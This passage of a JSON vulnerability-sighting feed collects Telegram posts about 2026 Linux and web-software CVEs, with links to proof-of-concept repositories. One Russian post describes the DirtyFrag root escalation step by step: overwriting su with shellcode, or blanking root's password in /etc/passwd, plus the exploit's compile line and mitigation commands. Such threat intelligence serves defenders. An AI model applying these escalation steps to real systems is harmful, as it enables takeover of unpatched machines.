\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u2013 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 AF_ALG-\u0441\u043e\u043a\u0435\u0442\u043e\u0432, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0447\u0435\u0440\u0435\u0437 seccomp. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://eyes.etecs.ru/r/c7b005 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-27T00:00:11.220917Z"}, {"uuid": "bdb1e11c-fd14-4ea1-93eb-6b106e28e869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/1118", "content": "CVE-2026-31431 a/k/a CopyFail\n\n> Linux LPE\n> Description sounds like AI slop\n> Exploit is legit\n> Impacts every Linux kernel from 2017 - Now\n> Proof-of-concept released\n> It's Wednesday?\n\nhttps://copy.fail/", "creation_timestamp": "2026-07-27T00:00:34.633058Z"}, {"uuid": "de4c1fd7-79cc-441a-a86e-cf1e9cd23f2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31452", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17097", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected to avoid duplicates and outdated entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31452\n\ud83c\udfaf OpenCart \u2013 Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitblizzard/CVE-2026-31452\n\n\ud83e\udde0 Overview\nA vulnerability in OpenCart allows attackers to upload arbitrary files without proper validation, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full web server compromise\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-30121\n\ud83c\udfaf Zimbra Collaboration \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ry4n-h/CVE-2026-30121\n\n\ud83e\udde0 Overview\nA flaw in Zimbra allows attackers to bypass authentication mechanisms and gain unauthorized access to user accounts.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Account takeover\n\u2022 Email system compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-28711\n\ud83c\udfaf Jenkins \u2013 Script Console Abuse\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/wh0amitz/CVE-2026-28711\n\n\ud83e\udde0 Overview\nA vulnerability in Jenkins enables attackers to execute arbitrary scripts through misconfigured or exposed script console endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CI/CD pipeline compromise\n\u2022 Credential exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-27654\n\ud83c\udfaf Drupal Module \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xM4hmoud/CVE-2026-27654\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in a Drupal module allows attackers to manipulate database queries and extract sensitive data.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Privilege escalation\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-26590\n\ud83c\udfaf Node.js Application \u2013 Prototype Pollution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4vitar/CVE-2026-26590\n\n\ud83e\udde0 Overview\nA prototype pollution vulnerability allows attackers to modify application logic by injecting malicious object properties.\n\n\u2699\ufe0f Impact\n\u2022 Application logic manipulation\n\u2022 Potential RCE chain\n\u2022 Security control bypass\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch analysis\n\u2022 Vulnerability chain study\n\u2022 Red / Blue Team training\n\n\u26a0\ufe0f Ethical Notice\nThis information is provided for cybersecurity research and defensive purposes only.\nDo not use it for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:06.531069Z"}, {"uuid": "17207386-f183-488c-9a30-1b21807c9e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/zhatez/2587", "content": "\ud83e\udde0 \u041f\u043e\u043c\u043d\u0438\u0442\u0435 Copy Fail? \u0422\u0430\u043a \u0432\u043e\u0442, \u043d\u0430\u0448\u043b\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e CVE-2026-31431 - 732 \u0431\u0430\u0439\u0442\u0430 Python \u0438 \u0442\u044b root. \u0411\u0430\u0433 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e-\u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430, \u0447\u0435\u0440\u0435\u0437 splice() \u0438 page cache. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b - \u043d\u0443 \u043d\u0430\u0448\u043b\u0438, \u043d\u0443 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0436\u0438\u0432\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435\n\n\u0410 \u0432\u0447\u0435\u0440\u0430 V4bel \u0432\u044b\u043a\u0430\u0442\u0438\u043b DirtyFrag. \u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0430 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0422\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f - \u0447\u0435\u0440\u0435\u0437 splice() \u0437\u0430\u0433\u043e\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u0430\u0439\u043b\u0430 \u0432 \u044f\u0434\u0435\u0440\u043d\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u044f\u0434\u0440\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \"\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\" \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache. \u0422\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 AF_ALG, \u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u044f - ESP (IPsec) \u0438 RxRPC\n\n \ud83d\udc40 \u0414\u0432\u0430 \u043f\u0443\u0442\u0438 \u043a root. \u0412\u044b\u0431\u0438\u0440\u0430\u0439 \u043a\u0430\u043a\u043e\u0439 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f\n\n\u041f\u0435\u0440\u0432\u044b\u0439 - \u0447\u0435\u0440\u0435\u0437 ESP. \u0421\u043e\u0437\u0434\u0430\u0451\u043c XFRM-\u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u044e \u0441 UDP-\u0438\u043d\u043a\u0430\u043f\u0441\u0443\u043b\u044f\u0446\u0438\u0435\u0439, \u0437\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b /usr/bin/su \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d \u0447\u0435\u0440\u0435\u0437 splice(), \u044f\u0434\u0440\u043e \u0434\u0435\u043b\u0430\u0435\u0442 in-place \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 \u043a\u0443\u0434\u0430 \u043c\u044b \u0441\u043a\u0430\u0436\u0435\u043c. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c 192-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0432\u0435\u0440\u0445 su. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c su - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u0417\u0432\u0443\u0447\u0438\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e? \u042d\u0442\u043e \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d, \u0447\u0442\u043e \u0438 Copy Fail, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0411\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f 2017 \u0433\u043e\u0434\u0430\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0447\u0435\u0440\u0435\u0437 RxRPC, \u0438 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 - \u043f\u0430\u0442\u0447\u0438\u043c /etc/passwd. \u0421\u043e\u0437\u0434\u0430\u0451\u043c rxkad-\u0442\u043e\u043a\u0435\u043d \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u044f\u0434\u0440\u043e \u0447\u0435\u0440\u0435\u0437 rxkad_verify_packet_1() \u0434\u0435\u043b\u0430\u0435\u0442 pcbc(fcrypt) \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0444\u0430\u0439\u043b\u0430. \u0422\u0440\u0438 splice-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u0438\u0435\u043c - \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 root:x:0:0: \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root::0:0:. \u041f\u0443\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. su root, Enter, \u0432\u0441\u0451. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u044e\u0437\u0435\u0440\u0441\u043f\u0435\u0439\u0441\u0435 - \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0444\u043b\u0430\u0439\u043d, \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044f\u0434\u0440\u0443. \u041e\u0434\u0438\u043d \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0432 \u043a\u043e\u043d\u0446\u0435. \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430\n\n\u041d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u043d\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e race condition. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 - \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0434\u0451\u0440\u043d\u0443\u043b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443, page cache \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a - \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439: \n\n\ngcc -O0 -Wall -o exp exp.c -lutil\n\n\n\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 - CVE \u043d\u0435\u0442. \u041f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b \u044d\u043c\u0431\u0430\u0440\u0433\u043e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0435\u043d\u0434\u043e\u0440\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u0442\u044c \u0444\u0438\u043a\u0441\u044b. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 linux-distros@openwall, \u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c - \u0438 \u043e\u043d \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b. \u041f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - zero-day \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435\n\n\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c. Dirty Pipe \u0432 2022 - page cache \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0439\u043f\u044b. Copy Fail \u043d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 - page cache \u0447\u0435\u0440\u0435\u0437 AF_ALG. DirtyFrag \u0432\u0447\u0435\u0440\u0430 - page cache \u0447\u0435\u0440\u0435\u0437 ESP \u0438 RxRPC. \u0422\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433-\u043a\u043b\u0430\u0441\u0441. \u042f\u0434\u0440\u043e Linux \u043f\u043e\u043b\u043d\u043e \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u044e\u0442\u0441\u044f \u00ab\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\u00bb \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0437 splice(). \u041a\u0430\u0436\u0434\u043e\u0435 \u0442\u0430\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e - \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 page cache. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0449\u0451 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442 \u0432 \u044f\u0434\u0440\u0435 - \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439. \u041f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e - \u043d\u0435 \u043c\u0430\u043b\u043e \ud83d\udc40\n\n\n\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 (\u043f\u0430\u0442\u0447\u0430-\u0442\u043e \u043d\u0435\u0442):\n\n\nprintf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf\nrmmod esp4 esp6 rxrpc 2>/dev/null\n\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f - ESP \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f IPsec VPN. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 site-to-site IPsec \u0438\u043b\u0438 strongSwan - \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. RxRPC \u043d\u0430 Ubuntu \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e AFS (Andrew File System). \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 AFS - \u0441\u043c\u0435\u043b\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435\n\n\u0422\u0440\u0438 \u0433\u043e\u0434\u0430, \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442. \u0414\u0432\u0430 \u0431\u0430\u0433\u0430 \u043b\u0435\u0436\u0430\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u0438 \u0436\u0434\u0430\u043b\u0438. \u041e\u0434\u0438\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0434\u0438\u043d claude, \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. \u0418 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430. \u0412\u043e\u0442 \u0432\u0430\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435", "creation_timestamp": "2026-07-27T00:01:30.838381Z"}, {"uuid": "50d01e2d-aa0f-4873-bb06-8c99e5a6e947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/zhatez/2579", "content": "\u0410\u0441\u0442\u0440\u043e\u043b\u043e\u0433\u0438 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b PoC \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0434\u043b\u044f  Copy Fail (CVE-2026-31431)\n\n\ud83d\udc40@ever_secure | \ud83d\udcaa \u041c\u0435\u0440\u0447 | \ud83d\udcb3\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c", "creation_timestamp": "2026-07-27T00:01:30.983637Z"}, {"uuid": "9471e246-9f05-4bba-827d-99b0ee87020c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31367", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98396", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a EITS-Portal-Exploit-CVE-2026-31367-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hereticL1nk\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-17 02:29:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-24T00:00:11.179178Z"}, {"uuid": "6a625e66-33a5-454b-8999-1d132ca50c6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31337", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99429", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Ivanti #CVE #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a patch-CVE-2026-31337\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gduma-phData\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-24 03:02:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPatch: RCE via authentication bypass (Ivanti Connect Secure)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-24T08:00:03.694564Z"}, {"uuid": "5550a451-0f46-44ac-bada-486a730f9ec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31428", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:55.714837Z"}, {"uuid": "f327debd-8bde-4992-a5f3-850abc410c0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31448", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:07.614955Z"}, {"uuid": "789b560b-b205-4c14-93d5-77cbcf4f2f10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31485", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:19.458886Z"}, {"uuid": "6e62055b-5683-43e3-b365-5503ea40dcb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31496", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:26.566849Z"}, {"uuid": "251201d1-68b1-4cc6-bf10-944b5ea36c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31546", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:48.124434Z"}, {"uuid": "7cb4113a-6ba1-4578-8d3d-98b24a0e99ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31389", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:16.815928Z"}, {"uuid": "15d5a1a7-26c1-4576-89ab-bb7b79763d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31391", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:19.197916Z"}, {"uuid": "889c913d-da29-44e1-8c1b-6bf982e01a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31396", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:22.054411Z"}, {"uuid": "27cc16a3-7774-40f8-8c9d-306e0463b4e8", "vulnerability_lookup_origin": 